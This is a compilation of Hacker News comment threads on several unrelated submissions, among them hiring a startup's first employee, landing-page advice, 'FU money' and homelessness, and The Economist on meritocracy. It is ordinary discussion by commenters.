How YC Companies Found Employee #1 - <AUTHOR> http://blog.yesgraph.com/yc-employee-number-one/ <comment><USER2> One thing to be careful of when hiring is treating equity as a replacement for salary. I've had a few offers in the last year where they offered me X amount of money and Y amount of equity, and then got pissed off when I turned down the salary. One guy even told me I was an idiot for disregarding equity. But the truth of the matter is that, like this article says, you could fire me in a month, and in the mean time, I've taken a significant pay cut in favor of equity that will never pay out.

And even if I do wind up working for you for a year, your equity is worth $0 (regardless of your company's valuation) until you get acquired or otherwise exit. You can sit there and tell me your company is worth $1B, but your equity is worth $0 until you can actually pay out on the stock.

I understand that founders have to work under the assumption that equity is money, but your salaried employees do not.

Anyway, just wanted to mention that. Like codex said, you have to find someone good but also naive -- good enough to do a good job, but naive enough to accept that low salary in favor of equity and the risk that goes with that.

For a very experienced senior developer, that's generally not going to be enough, unless they're founder-level or really, really, really, really, really, really believe in the company. Or if they hate their current job enough.

<comment><USER3> Have any founders tried recruiting with an equity + salary offer where for the first year, the equity offer is translated into salary? Not like Buffer's offer of equity instead of salary, but as something like "we acknowledge you could be working hard for something that never vests. Your fair value is X. We've offered you .5X + equity. For the first year, we are willing to offer you .8X, which then drops to .5X." Any raises could be translated into a percentage raise, or could just be added to the changing basis.

It's a weird idea to have your salary drop after a year, but it might be an interesting avenue to pursue.

However, successful startups usually don't have the salary issues outside of the beginning, so it may not work just because of that. I'm just really interested in trying to perfectly align incentives, and the founder vs. first employee one is the toughest nut to crack for me.

<comment><USER4> I know of some companies that do this. The drop isn't quite as large as you describe, but it's the same idea.

</comment></comment></comment><comment><USER5> Hiring #1 is tricky: you need to find someone good, but also naive. In this era of the ray startup, it makes little sense for a great engineer to work for someone else: the first employees work almost as hard as the founders, but receive 1/50 the ownership of the company. In the age of the acqhire founders' risk is very small.

<comment><USER6> It depends.

Practically by definition, employee #1 is shouldering less opportunity cost than the founding team. The founding team was able to start a company and raise money sufficient to pay the employee. The employee is accepting full- time employment. Why would they do that unless they didn't believe they could be successful (whatever that might mean) starting something themselves?

I think there's a whole lot of taking-advantage happening in startup hiring, but there's also an industrywide lack of understanding of how risk and basic economics work, too. Equity isn't a merit badge.

<comment><USER7>
      > I think there's a whole lot of taking-advantage happening
      > in startup hiring...

One warning sign of this is when the salary is below market rates. Founding members take low salaries and lots of preferred equity (and lots of risk), while employees take a market salary and a few incentive stock options.

<comment><USER8> One quick correction is that founders typically have common stock, not preferred.

<comment><USER9> They get common stock but without a cliff or vesting period

<comment><USER6> No, founders vest. For the love of all that is holy, don't join a founding team with no vesting. Funding or no funding, vesting is non-optional. Get vesting worked out from the jump.

</comment></comment></comment></comment></comment></comment><comment><USER10> "It's when we hired full time employees immediately without that trial period where I've really regretted things. You go through so much extra work to figure out insurance and stock plans, only to want to fire the person in a couple months."

It's very very hard to get people to move from one contract to another without some sort of permanence, I'm a contractor now, why would I change to another contract even for slightly more pay? I'm content here, more or less, offer me a fulltime job, sure, I'd move - but not for another contract.

<comment><USER6> I agree strongly. Contract-to-perm hiring seems like a great way to filter out the best candidates, who will tend to have better options.

<comment><AUTHOR> It's a pretty big issue because you don't really know what working with them will be like. Weebly does a trial week, which is a good balance of time and commitment. [http://www.sequoiacap.com/grove/posts/akzj/trial-week-our- hi...](http://www.sequoiacap.com/grove/posts/akzj/trial-week-our-hiring- secret)

<comment><USER6> Aside: let's be careful not to pretend that temp-to-perm hiring is any kind of norm. The overwhelming majority of hires are hired conventionally, after an interview, with an immediate full-time offer. That includes "employee #1" hires.

<comment><AUTHOR> You're right

<comment><USER6> I'm also a crusader on this issue, as you know, so don't let me steamroll the thread.

</comment></comment></comment></comment></comment></comment><comment><USER11> I used to have the "trial period" mentality even though I didn't have an answer for the "that's starting out on the wrong foot" skepticism.

But recently, a smarter-than-me CEO shared his hiring practice and he has won me over. He proposes: hire the candidate as a full-time employee and offer the candidate the salary/equity package as if the candidate has achieved his full potential. Then, if the candidate works out as expected, then everything is well. But on the other hand, if the new hire turns out to be sub-par, it would be a lot easier for you to let him or her go. Because it'll simply be too expansive to keep a sub-par employee around at the compensation package you offered.

I think this is a great implementation of the hire fast and fire fast philosophy.

</comment><comment><USER12> What if a good potential #1 asking for founder position?

<comment><USER13> You have to ask yourself:

1\. Are you a single founder, would a 2nd founder help? 2\. Do you already have a 2nd founder who is technical/business? 3\. How far along are you? 4\. How much salary are they willing to give up? 5\. Are you a first-time founder?

I was brought on as a co-founder, even though the business had a few months head start. However I was the only dev, I was going to make the same "salary"\--20k/yr, and that the company didn't really have much more than a simple proof of concept.

Employees should expect a "reasonable" percentage of market salary. Founder's should not.</comment></comment>


Classic books that got horrible reviews when they first came out - <AUTHOR> http://www.huffingtonpost.com/2015/01/23/bad-reviews-classics_n_6527638.html

<comment><USER2> Not all of the reviews are horrible, and not a few of the books are classics only in the sense that they've been successfully crammed into the American high school curriculum.

Some of the reviews are dead on - Salinger, Vonnegut, Lee, Mitchell. Okay, maybe most are.

</comment><comment><USER3> Meh. Not worth much, honestly: For each book there is a single quote out of context from a single review.

This sort of cherry-picking can support any thesis, any conclusion.

Every book, every single one, receives at least one bad review.</comment>


Is Your Landing Page Good Enough to Get into Y Combinator? - <AUTHOR> https://yourlandingpagesucks.com/startup-landing-page-teardown-yc/ <comment><USER3> this is pretty awesome, plenty of great advice littered throughout. would be nice if your advice could be automated, i.e. i give you a url, you give it a score based on your advice, i don't see a need for rocket science. another method could be to make it more of a crowd review of a landing page (or any page). some mechanism would be needed to filter out the good and bad advice since this would be open to all (kind of like hacker news scoring of comments). or you could have professionals able to rate and critique websites. all this could be charged as a service or advertisements for revenue. one thing that would be a dis-service to the web would be that all webpages would start to look like one another. and in some senses, some of these wacko vc's might like "tasting the future".

one nitpick on your page format, it's hard to peruse through and find the good examples and bad, i'm not much of a design aficionado, so some of these things i can't really tell the difference between unless i read all your comments.

</comment><comment> swingline-747 Consider having a /humans.txt and a founders@ email address that isn't advertised.

</comment><comment><USER4> Can I get this landing page critiqued (POSITIVE AND NEGATIVE) according to the points this advice says? It seems to do well I think, esp on mobile!

[https://qbix.com](https://qbix.com)

<comment><USER5> As a random internet user, I would say: applying the points of the article to your website...

Best applied positive points (others apply too, but there's no point in making a list with things you already know about):

2\. Make the website about the customer, not you

11\. Don't write meaningless B.S. and banalities

12\. Make your call to action visible

26\. Make your stuff legible

31\. Leverage Social Proof: This comes with a caveat - the globe with '5 Million downloads' works fine, but I would find something less '90s.

36\. List your features/Benefits using... lists: I would make them more concrete, but there's a good first version already (see discussion at the end regarding this)

48\. Offer a quick demo (see discussion at the end)

Points that could be improved:

3\. Make Your Value Proposition Crystal Clear: "We build apps for all kinds of communities" raises more questions that answers (what apps? what's a community in this context?)

5\. Don't use buzzwords: "Empowering", "Uniting" doesn't tell much

9\. Make sure your copy passes the "so what" test

15\. Anticipate and answer all objections

23\. Don't just make statements, show value: Note that this is buried in your presentation. Being a PDF, there's 0 chance I would have read that on my phone.

25\. Don't hide content people want to see: On mobile, reading the "meatier" part of the content requires me to click on vague terms such as "Engagement", one by one. I would suggest either making the titles clearer, or not auto-hide by default.

28. Explain why I should buy your product and 34. Explain how your product works: I did not watch the video, because I usually skip them. As a result, I had no idea what your product actually did until I read the presentation. Now, maybe the people who need to manage communities actually do, I couldn't tell since I don't have B.A.N.T. here. Just bringing it up

Now, here comes a completely separated set of observations. First, you might consider unifying your visual design: the website, the presentation, and the "let's work together" section all have different visual designs.

Your "Let's work together" page, however, raises lots of questions - <USER2> because it's bad, but actually because it's _almost better_ \- clear example of what the app does, link to request demo, e-mail contact... (the stock footage needs work, though). I find myself confused as to how to better unify all of these points into one.

Finally, I've seen the video. I would suggest that you split the video in sections: "What the app does", "How we handle privacy", "Qbix in our office: a case study", and so on. I wouldn't put the private key exchange and how you use iframes in an introductory video. And as a final small detail, I like the narrator's voice, but he should consider a better microphone (or renting a recording booth for an hour).</comment></comment>


Twitter Lists embeddable js widget from TweetGrid - <AUTHOR> http://tweetgrid.com/widget/listwidget.php

<comment><AUTHOR> The TweetGrid _search_ widget is now installed on hundreds of websites and just cleared 6 million pageviews in October. I figured it would be handy to have a similar widget available for Twitter Lists.</comment>


Independently Poor: A Twist on FU Money – a.k.a. "FU, Money" - <AUTHOR> https://streetlifesolutions.blogspot.com/2020/07/independently-poor-twist-on-fu-money.html <comment><USER2> Coming at it from a different perspective, I did something similar to this by saving money on a US salary and then moving to a low cost of living country. I spent years at a time not working or even thinking about how to make money. I think almost everyone has felt the pain of financial and social obligation, but very few people have experience a total lack of such obligations for years at a time which leads to things like fantasizing about FU money.

I can tell you that for me personally I don't think it was ideal. Yes, at first the freedom is exhilarating, but it doesn't last forever. There were two big problems. One is that you feel disconnected from society. This is hard to explain but being outside of normal social structures you lose a sense of context and meaning to your actions. Second is that when you don't have any social or financial pressures it's hard to avoid the path of least resistance. It's very easy to fall into bad habits, just watching youtube, reading reddit, bad diet, etc.

I would assess myself as someone who would be less susceptible to these problems. I consider myself a fairly self-motivated person and definitely an introvert. But after several years it starts to weigh on you.

Today I work in an office. There are often times when it's hard and I have to deal with things I don't want to. But I still think it's better than when I wasn't working. I think if I never had the experience of not working I would probably only see the downsides of office life as the upside is quite abstract and hard for me to articulate. I don't think this is something unique to me, I think it's human nature to want social structure and this naturally comes with social obligations. But for most people not being constrained to social structures was never an option anyway so they underestimate how much it affects their happiness.

<comment><USER3> Well, there's always a healthy option in the middle. I'm not exactly up to speed on what the pay is like in the USA (which is where I presume most of the users here hail from), but getting at least $3-4k is enough to work remotely from some place like Thailand or a small European country. You still get the benefit of a traditional-ish social life, where you "go" to work every day, talk to people and then have some time to go out. Except that salary that would get you a passable living in London, Seattle or whatever other expensive city you inhabit, could get you much farther in a poorer country.

I do realise that this only applies to those who CAN work remotely but that seems to be a large chunk of the userbase for HN.

<comment><USER4> With $3-4k you can live more than decently in 99% of Europe. Sure, it might not get you very far in the most expensive cities like Geneva, but otherwise you can can have anything between a very comfortable and a very lavish lifestyle. This is subjective, after all a luxury car or a top of the line Mac are just as expensive wherever you go. But for the amenities of regular life you really shouldn't worry about missing out on much when living in Europe on that kind of money.

<comment><USER5> £3,000 in London is comfortable if you don't have kids. Nursery fees are about £1,800 and a rent £1,500.

<comment><USER6> More than comfortable if you don't have kids and don't expect to have your own flat. I live in London, and probably spend around £1200-1500/month total. Which is more than what some of my friends earn.

</comment></comment></comment></comment></comment><comment><USER7> I'm 31 and have never had a job. I started freelancing when I was 18 - more by necessity than by choice - and continued doing that throughout my six years of college.

There is something to be said about having "unordinary" experiences - it cuts you off from your peer group. My part-time freelancing through college meant that I was often too busy to do the things college kids do - party, join bands, etc.

Later, when I started freelancing full-time, my friends would talk about their bosses, applying for jobs, building up careers, etc. and I would just nod my head and attempt to understand but I couldn't. I've never had bosses - or even bad clients - and my idea of career has basically evolved into a series of gradually better/bigger gigs and projects.

I'm very independent person and can get by perfectly fine being completely alone. But I imagine that someone more extroverted and social than me would have felt a little too alienated living a life so different than their peer group.

When the pandemic struck earlier this year, a couple of my key clients dropped their budgets or held off on decision making. So I took that time as a "break". This devolved into eating too much, working out too little, and sleeping at odd hours - all great stuff for a week or two, but extremely grating after a month.

It's a romantic idea - a life without boundaries or bosses - but it's not something everyone is cut out for, nor is it something I would recommend everyone to follow.

<comment><USER8> If a job is the only thing holding your diet, habits, and exercise in place what will happen when you retire?

<comment><USER9> Great question, this is why many men die shortly after retirement (in the first year even!)

<comment><USER10> I've heard this before but I don't trust it. Is it just a statistical measure? If so I think it's way more likely they're retiring because they're ill.

</comment></comment></comment></comment><comment><USER11> My wife and I have probably hit a point where if we really wanted to we could cash in and probably just go the grid for the rest of our lives. We're not rich, but we've put together a plan where it would be _possible_ to do this if either of us ever really said "fuck it".

The anxiety really comes when we start thinking about old age. Where dipping back into the workforce if we needed to is not really possible and unexpected expenses are likely. So I guess it's keeping to the grind to build as much of a safety net for those days as we can until we really decide to pull the trigger.

We both know enough people who are "independently poor" and seem to make it day to day without too much fuss in the short term. But almost all those same people we know end up in catastrophic financial emergencies over the longer term due to unexpected expenses they can't surge their finances to meet. For us it just means we don't put as much away for retirement for a paycheck. For them we've seen evictions, garnished wages, divorce, ruined credit, bankruptcy, and so on. It's a vicious cycle that starts with being relatively expensive and ends up being ruinous.

<comment><USER12> Sounds like old age medical expenses is the biggest fear - have you all considered emigrating to a country with govt provides healthcare to address that possibility?

<comment><USER11> Yes. We plan on retiring outside of the U.S. primarily due to the medical nonsense making our expected cost of living much lower in old age.

<comment><USER13> Do you plan on living and paying taxes for a substantial amount of time in your target country?

<comment><USER14> How would they retire in a country without following its immigration laws? You're tattle telling on behalf of no one.

</comment></comment></comment></comment></comment><comment><USER15> Thanks to covid, I have experienced how it must be to not have fu money.

I'm not entirely sure why, but many companies are now hoping to take advantage of the rise in unemployment by trying to lock in highly skilled workers at a low salary. The way those job offers were presented, it seemed like they were feeling like my savior in a shining armor for offering job openings in these challenging times. But they were asking for lots of experience, unpaid overtime, yet offered less than what I currently make for part-time. Their main argumentation point was that it's better to be underpaid than to be unemployed.

I assume that that's how most people who don't have fu money are treated, because they are not in a situation that allows them to negotiate. But of course, accepting such an offer might prevent you from accumulating a safety deposit in the future.

Maybe the best way is to go with Aladdin: If you don't have anything, act like you own everything.

<comment><USER5> "I'm not entirely sure why"

That is what people usually call the law of supply and demand. Your salary is not a function of your skill but of how rare they are on the market relative to the number of job opening.

<comment><USER15> Judging from the number of offers I got in recent weeks, it seems the number of job openings currently is higher than before. Shouldn't that drive up prices?

<comment><USER16> If those openings stay open for a long time, perhaps. In the short term it says more about how many people are looking vs how many people they've evaluated/interviewed/hired/rejected.

<comment><USER15> Thanks for pointing that out :) I completely hadn't thought about the rejection rate as a factor. But given that I rejected them, too, maybe there's so many openings purely because they are bad offers.

</comment></comment></comment></comment></comment><comment><USER17> Good article - Everyone needs to learn the amount of money that they need to become independent. As the author says, it can be as little as a couple of dollars in some situations for some people. Learning about the concept of financial independence really made a big positive impact on my career as it allowed me to walk away from toxic work situations.

</comment><comment><USER18> I feel like being poor has lost a lot of its negative stigma.

These days I find myself casually letting people know that I'm poor in order to get more favorable treatment.

There are so many highly skilled poor people these days that there is not so much stigma around it. Being poor is basically a natural state for the vast majority of people in their 20s to 40s. My ex-colleagues often discuss how little money they have and how hard they struggle to find jobs. This is a totally normal conversation.

<comment><USER19> It's always been a totally normal conversation, at least where I live (the UK), for the last few decades.

I had a colleague who complained that he couldn't reasonably be expected to live on his pitiful salary, which turned out to be £80k (about $120k, adjusted for inflation).

Poverty oneupmanship from 1967: [https://www.youtube.com/watch?v=VKHFZBUTA4k](https://www.youtube.com/watch?v=VKHFZBUTA4k)

<comment><USER20> When I was living in the US, I used to enjoy hearing people talk about "being rich." (To understand this circumlocution, the reader must understand that they're all "middle class" over there.) The most egregious instance was when I was talking with someone in a VIP tent, watching her pro jumping her horse over fences in a competition. She'd made some kind of comment about how she was different from the people she had just been talking about, "because they have money." When I asked what she would do _if_ she _had_ money, she replied that she wasn't sure, but maybe she would "get a jet."

</comment></comment></comment><comment><USER21> I don't know if this is tangential or completely related to this article, but at some point I realized the greatest thing I could have was the freedom to change everything about my life at any given moment. I realized that unless I had that freedom, I was never really free. Now, every choice I make is colored by question: if I make this choice, what choices do I lose? How can I make a choice that keeps me from losing any choices.

The unexpected side benefit of this is that if I'm ever in doubt of what I'm doing with my life, I am free to consider changing things, and if I don't, then I know that I am doing exactly what I want to do. It's a way to contentment that is almost objective.

<comment><USER22> By limiting yourself to choices that do not cause loss of choice in the future, are you still free to choose anything? You value this freedom so much that you limit the choices you can make significantly only to retain this freedom, but unless you "cash in" that freedom at some point to make a choice without restrictions (which will probably limit your freedom of choice in the future) you are living with a limited choice-space just the same.

</comment></comment><comment><USER23> When life gives you lemons, do everything you can to sell them at a profit so you don't have to touch those nasty yellow fruits ever again. Congrats to the author for gaining independence and forging her path out.

</comment><comment><USER24> I briefly experienced "freedom" for a few months where I just stopped paying my bills(no expenses). This was dumb later on eg. cc law suits/tanked credit score. But I had the ability to do so(friends/cheap housing/internet access). I learned how to build full stack websites, I was chasing the dream(high traffic ad-revenue based websites). Meanwhile was in the process of failing out of school/fear of how I would pay my student loans. It was great because I had no reason to do anything eg. get up by 9AM/pay a bill at this day. I could chase some rabbit hole and just keep going even if my sleep pattern was flipped. I could sleep 16 hrs straight.

But yeah I'm going for FiRe I'm still broke af despite making a lot for my area. But I'm at least glad I am in this industry/aware of a lifestyle like that.

edit: I would not advise screwing up your cc haha... it's too bad I didn't learn that till later/too late.

<comment><USER25> ... what did you think was going to happen by just not paying your bills?

<comment><USER24> Yeah I was escaping, going to court for a CC JDB lawsuit was not fun.

And also tanking my credit score/tainting myself "permanently" is also not great. I was dumb with money earlier in life.

</comment></comment></comment><comment><USER19> > I also really like the scene in Titanic where the rich guy tries to buy his > way into a lifeboat and gets told his money won't be worth anything at the > bottom of the ocean.

In reality of course, first class passengers were more than twice as likely to survive as third class ones.

<comment><AUTHOR> _In reality of course, first class passengers were more than twice as likely to survive as third class ones._

I'm reasonably sure that's because the gates to third class were locked to keep them off the decks and not because first class passengers were successfully bribing staff to let them onto the life boats. So, for me, it doesn't diminish the power of the scene.

The original piece that this was based upon was written at a time when my bank account was locked up for a month by creditors. I was homeless in downtown San Diego, surrounded by modern wealth, and the only cash I had access to was change found on the street and sidewalk as I walked around during the day.

A similar vignette would be a story I remember reading about a plane crash where they ended up burning large quantities of cash to try to avoid freezing to death in the snow-covered mountains.

I was enduring something extreme. It was a tremendous head fuck and I was doing my best to wrap my mind around it. It wasn't easy to come up with similar examples from literature to which other people might relate at all and people tend to think I'm exaggerating when I talk about the facts of my life. They think I'm being a drama queen to state things that happen to be true for me and try to convey what it's like to experience it.

I remember being in a women's day shelter and someone else who was homeless was waving about a five dollar bill and I had no money and no means to get any money and I don't know how to describe how bizarre that was that even other homeless people were so much more comfortably well off than I was that they didn't feel some need to hide that five dollar bill and protect it from the other poor people around them.

And it's like "Just how can anyone in the US be so extremely cut off from money like that in the midst of so much wealth?" But there I was.

And I'm not the only person who is invisibly cut out. Plenty of people can walk past the table where America lays a feast for some, but not others, and they aren't invited to partake and if they touch it they will go to jail for theft. A lot of those other people are People of Color and they serve the feast, but aren't allowed to eat any of it.

The barriers that keep people out are weird and "magical" in that they are invisible and intangible in certain important ways and they run deep. And all these years later, I still don't know how to speak of it effectively as is clearly demonstrated by the numerous scoffing comments in this very discussion.

<comment><USER26> No, that's a complete myth, probably propagated by the Titanic movie. Third- class women (& children of course) were MORE likely to survive than a male in First-class.

<comment><USER19> First-class men were about twice as likely to survive as third-class men, and first-class women were about twice as likely to survive as third-class women.

<comment><USER27> For those that are interested, here are the survival rates, broken down by men/women/children in first/second/third-class/crew: [https://www.anesi.com/titanic.htm](https://www.anesi.com/titanic.htm)

<comment><USER9> Amazing stats!

This is our cultural response now: [https://youtu.be/Qsqlmis2FDA](https://youtu.be/Qsqlmis2FDA)

</comment></comment></comment></comment></comment></comment><comment><USER28> Thanks for writing an important piece. I had shit hit the fan before and wound up in being a begger that thought they could not choose and getting burned and being a begger that made hard choices and sacrifice for a long term goal. There is a lot we can do without to end vicious cycles of being vulnerable and being preyed upon. I completely agree with your comment of clarification that you to sort your shit truly out you must be choosey

</comment><comment><USER19> Poverty is shit. I recommend avoiding it if you can.

<comment><USER29> The article though is not advocating to live in poverty, but rather to live with just the right amount of FU Money to be able to make free choices. After this threshold the perspective if one is rich of poor becomes one of mindset and not so much based on the superficial metric of one's net worth.

<comment><USER2> This is fair if you think freedom is the most important thing. Having more money has real objective benefits and most people are fine with giving up some freedom to have those benefits.

</comment></comment></comment><comment><USER30> The buymeacoffee link on [https://streetlifesolutions.blogspot.com/](https://streetlifesolutions.blogspot.com/) is broken - it points at [https://streetlifesolutions.blogspot.com/2020/01/buymeacoff....](https://streetlifesolutions.blogspot.com/2020/01/buymeacoff.ee/DoreenMichele) which 404s.

<comment><AUTHOR> Thank you. I've updated it.

<comment><USER31> Related: how has your experience with buymeacoffee been? I used Ko-fi for a long time, but BMC keeps popping up.

<comment><AUTHOR> I actually mostly stopped using it because it wasn't getting results for me. I removed it from most of my sites and this link got overlooked.

<comment><AUTHOR> Though I will add that it occurs to me that if I was using a broken link across most of my sites, that could explain the poor performance. Duh.

<comment><USER31> My experience with various donation-themed money collectors is they don't go far without active promotion. The problem I had with Ko-fi is they run right through to your PayPal account, and PayPal likes to flag payments through Ko- fi as requiring shipping. After a while I had to manually set "doesn't need shipping info" on every one, and it wouldn't release the funds for weeks. It's _easy_ to get people to send by PayPal because PayPal is easy, but Stripe requires getting a card out. Donations cratered the moment I turned PayPal off.

As much as Patreon frustrates me for a long list of reasons, it's low-pain on both ends since it handles the link between payment and your bank account. The numbers are smaller, but people stick around and don't expect anything extra from you. Even if they pick a benefit-having tier.

I made an account on Buy Me A Coffee, but it seemed like a less refined Ko-fi and I wasn't sure if I missed something.

<comment><AUTHOR> Given that the link was broken, I am thinking I may put it back on various sites of mine as an option and see if it works. I still don't have enough income yet and having more payment gateways seems to open up options for people to pay how they prefer.

I prefer PayPal for tips (and Patreon for something I can count on at the start of every month), but if that means some people aren't tipping who would if there was another payment gateway, then I am leaving money on the table. That's something I can ill afford to do given how cash strapped I routinely am the last half of every single month.

</comment></comment></comment></comment></comment></comment></comment><comment><USER32> FU Money, and FU Paperwork, is basically what I gradually came to live, after gradually unsubscribing from all of it.

It's been an amazing experience, and yes, very freeing.

<comment><USER33> What's FU paperwork? Only relevant Google hit I see is pointing to this comment.

<comment><USER34> Don't know what parent commenter meant but for me it's multiple passport and qualifications that will fly anywhere.

So when a country doesn't work out I just go somewhere else.

<comment><USER35> Is your passport situation by luck of your birth or have you gone through the expense/hoop jumping of obtaining passports?

<comment><USER34> Two by birth. Third is still six months to go for sufficient years. (Currently perma res which is functionally the same for now)

</comment></comment></comment></comment></comment><comment><USER36> Very important points for a good life.

The steps I took to become more happy with my life:

1\. Lower my expenses

2\. Work from home

3\. Work on things I like

4\. Work when I want

I'm not rich, but I feel I can do what I want, when I want it.

</comment><comment><USER37> _> >In other words, I had a degree of independence and agency that you normally only see in the Jet Set -- people who get called independently wealthy -- or comfortably well-off retirees. I had more control over my time and my life than your typical working stiff._

No offense, but I would not attribute any sense of freedom or higher degree of control in one's life to receiving alimony. What happens if/when the ex-spouse prematurely dies or has their bank account hacked?

</comment><comment><USER38> >> At one time while I was homeless, relatives helped me deal with some of my financial drama

>> I was able to resist such pressures and make decisions for myself, including moving my bank account at a later date on terms that made more sense for me, because I had some maneuvering room in the form of food stamps and knowing where I could get a free meal or free clothes. Food stamps didn't cover some essential nonfood items that we needed and couldn't get from a homeless services center, specifically peroxide and plastic cups, but we made more of an effort to get better at finding change on the street and we used that to buy those essentials at some local "dollar" store.

This article is a good example of a "First World Problem". Before jumping to conclusions, let me explain. There is _world of a difference_ between being homeless in a first world country and a third world country. This article completely discounts that. Food stamps, bank accounts are something 'poor' can only find in first world countries.

>> Join reward programs, clip coupons, etc.

>> Check Reddit for pertinent subreddits for meeting your needs cheaply.

To access Reddit you first need a _device_ AND an _internet_ connection AND you need to be _literate_.

>> Ultimately, I concluded that being able to choose wasn't really about money per se but was about maneuvering room. Yes, having sufficient resources helps, but making choices in life and exercising free will is not directly related to how much or how little money a person has. It helps if you have some confidence you won't starve or otherwise experience catastrophe, but that isn't about money per se.

It completely discounts any _family_ members that may be disabled and maybe _completely reliant_ on you for making ends meet. Have you _ever_ seen a slum?(if not, then you probably won't get the point). This doesn't even touch the surface of what _real problems_ most of the world in poor countries face. I don't blame the author for she has probably not been to a third world country but I do not agree with the above points.

<comment><AUTHOR> I'm the author.

I'm disabled and the primary provider for my family of three, which includes two disabled sons. I absolutely didn't want to be poor. I'm still poor and I hate every minute of it. I wish desperately that I had more money and I am doing all in my power to resolve my problems and this has been true for years.

"First world problem" or not, being homeless in a first world country is still a very real problem. Among other things, people who are homeless die at much younger ages on average than people who are housed.

 _People who experience homelessness have an average life expectancy of around 50 years of age, almost 20 years lower than housed populations._

[https://nationalhomeless.org/category/mortality/](https://nationalhomeless.org/category/mortality/)

So homelessness is literally killing people. I do what I can to provide useful information, both for those on the street/at risk of homelessness and for those interested in finding effective solutions. My knowledge comes from first-hand experience -- having spent nearly six years homeless -- as well as formal education on the topic of homelessness.

For the record, I'm a woman. So I'm a "ma'am," not a "sir," if you want to know the correct term with which to express your contempt while pretending to be respectful.

<comment><USER38> I am not discounting the fact that you have problems in your life. I know what it means to be poor because I have been _poor_ in a _3rd world country_.

>> People who experience homelessness have an average life expectancy of around 50 years of age, almost 20 years lower than housed populations

There are kids _literally_ dying because they don't have access to healthcare.

>> formal education on the topic of homelessness

There are millions if not billions of people who can't read or write their names.

I am not blaming you for your situation, life can be difficult sometimes and it literally sucks to be in that position despite of all your efforts. I can empathize with your situation but I simply cannot agree with certain parts of the article.

<comment><USER39> I dunno why your being so harsh. It's not a competition on who who had the most dreadful circumstances. FYI, the average life expectancy in Papua New Guinea is 64. Homelessness, even in a first world country, is objectively a bad situation to be in regardless.

I am thankful to the author for sharing her reality with me. I appreciate her lucidity which is a huge asset I think.

<comment><USER38> >> Ultimately, I concluded that being able to choose wasn't really about money per se but was about maneuvering room. Yes, having sufficient resources helps, but making choices in life and exercising free will is not directly related to how much or how little money a person has. It helps if you have some confidence you won't starve or otherwise experience catastrophe, but that isn't about money per se.

I am _not_ being harsh just highlighting the fact that there are a lot of _implicit_ assumptions being made in the article wherein most of the population of the world in poor countries simply don't have the freedom to do so.

<comment><AUTHOR> The piece states pretty early on that it was being written for a forum I run on Reddit called Gig Works. It is aimed primarily at Americans looking for alternative work arrangements and at people who are homeless or at risk of homelessness in the US because they are twice exceptional or have other barriers to regular employment.

It promotes the idea that not only can beggars be choosers, they need to be if they are ever to resolve their problems. This was a theme of my first homeless blog that was written while I was in actual fact homeless. (I'm not currently.)

I've been on Hacker News for eleven years, so some people recognize my name and know some of my back story. A previous version of this article, which is no longer available to the public, did surprisingly well a few years ago. Since it is no longer available, I reposted the updated version because I figured it might be of some interest to some people here.

I have two sons who tend to be pretty literal and as children they would say things like "You are too heavy for me to pick up -- unless we are in water or if we were on the moon...etc." Most people aren't that literal and I gave plenty of contextual cues in the piece as to whom I am trying to speak to.

You are rebutting a phantom argument where, in your mind, I am speaking to people who literally cannot read my words due to a combination of lack of internet access and lack of literacy and lack of knowledge of the English language. Most people don't think that's a reasonable argument to make since it's a pretty obvious fact that my blog post isn't being written with the idea that those people will be reading the piece and taking any advice from me.

About a third of Americans have not paid their rent/mortgage this month. There is a global pandemic on and articles are predicting that upwards of 20 million Americans will be evicted between now and September.

It may not be anything you care about because there are people in worse straits, but it's a very big problem for the US currently.

I'm in no position to help illiterate people in third world countries who have no internet access. I am in a position to help Americans who find themselves in dire straits all of a sudden due to a global pandemic or due to personal factors unrelated to the pandemic.

Those are the kinds of people I hope to reach. There is zero intent to lecture illiterate people in third world countries who lack internet access. That is so far outside of my intentions, that it "goes without saying." So it wasn't said.

<comment><USER40> > It promotes the idea that not only can beggars be choosers, they need to be > if they are ever to resolve their problems.

I wish you had said this directly in the article because I had a tough time figuring out your point.

<comment><AUTHOR> Thank you. That's good feedback.

<comment><USER41> Here's some more:

> if you want to know the correct term with which to express your contempt > while pretending to be respectful.

I didn't hear any contempt at all in what they were saying. Nothing like it. I was disappointed to read that, as you usually stay respectful, but that crosses way over the line well into _Please don 't do this on HN_ territory.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER20> Alexander: Greetings, I am Alexander of Macedon. If you be the philosopher they call the Dawg, let me know your wish, and I shall grant it.

Diogenes: Before your shadow fell on me, I had been lying in the sun. Step aside a pēchys or two, and I'll resume.

In _The Dispossessed_ , the anarchist Shevek is surprised to find that his political polar opposite, Atro, has a kindred soul:

> "In some ways he was totally incomprehensible to Shevek — an enigma: the > aristocrat. And yet his genuine contempt for both money and power made > Shevek feel closer to him than to anyone else he had met on Urras."

more Διογένης: [https://news.ycombinator.com/item?id=23822425](https://news.ycombinator.com/item?id=23822425)

<comment><USER42> Is that you, amanfrommars?

[https://forums.theregister.com/post/search/?q=amanfrommars](https://forums.theregister.com/post/search/?q=amanfrommars)

<comment><USER20> Which reference to "FU, money" wants expansion? Ἀλέξανδρος/Διογένης or Shevek/Atro (or even Διογένης/Ἀρίστιππος)?

Your most Obedient ſervant, who Wiſhes only to Explicate ſhould the Topick of my prior Converſation have been altogether Unclear,

/s/ 082349872349872</comment></comment></comment>


America's new aristocracy - <AUTHOR> http://www.economist.com/news/leaders/21640331-importance-intellectual-capital-grows-privilege-has-become-increasingly <comment><USER2> If we accept the premise of the article - that the population is sifting itself out by intelligence, then the better a country is at being a meritocracy, the more likely we are to see this stratification of the populace. It's funny then that the article comes right out and says the solution is to improve the prospects of smart disadvantaged kids. This will just accelerate the process, although it will at least slightly enlarge the meritocratic elite.

<comment><USER3> The article doesn't even _use_ the word "intelligence".

The premise of the article is that good _education_ is available to some and not others, and that their children are more likely to also get good education, thus perpetuating the gap.

This leaves plenty of intelligent and meritorious people with poor educations and thus poor prospects, which tends to carry over to their kids. The very _opposite_ of "meritocracy".

<comment><USER4> No, the article doesn't use the word _intelligence_ ; it uses the words _brains_ , _brainpower_ , _intellectual capital_ , _talented_ , and _clever_ instead. That's _The Economist_ for you.

The article more than once calls for improving the prospects of poor, _clever_ children.† If you missed the emphasis on intelligence, I suggest you give the article another read.

† — In Britain, where the article was published, _clever_ is very nearly synonymous with _intelligent_ (and more often used), by the way. Americans tend to use _clever_ to mean something more like _witty_ , _inteventive_ , or even _cunning_.

<comment><USER3> Except the article is talking about how clever-but-poor kids don't succeed in the same way. A clever kid from a poor family with only shitty education available is going to be _far_ more likely to remain poor.

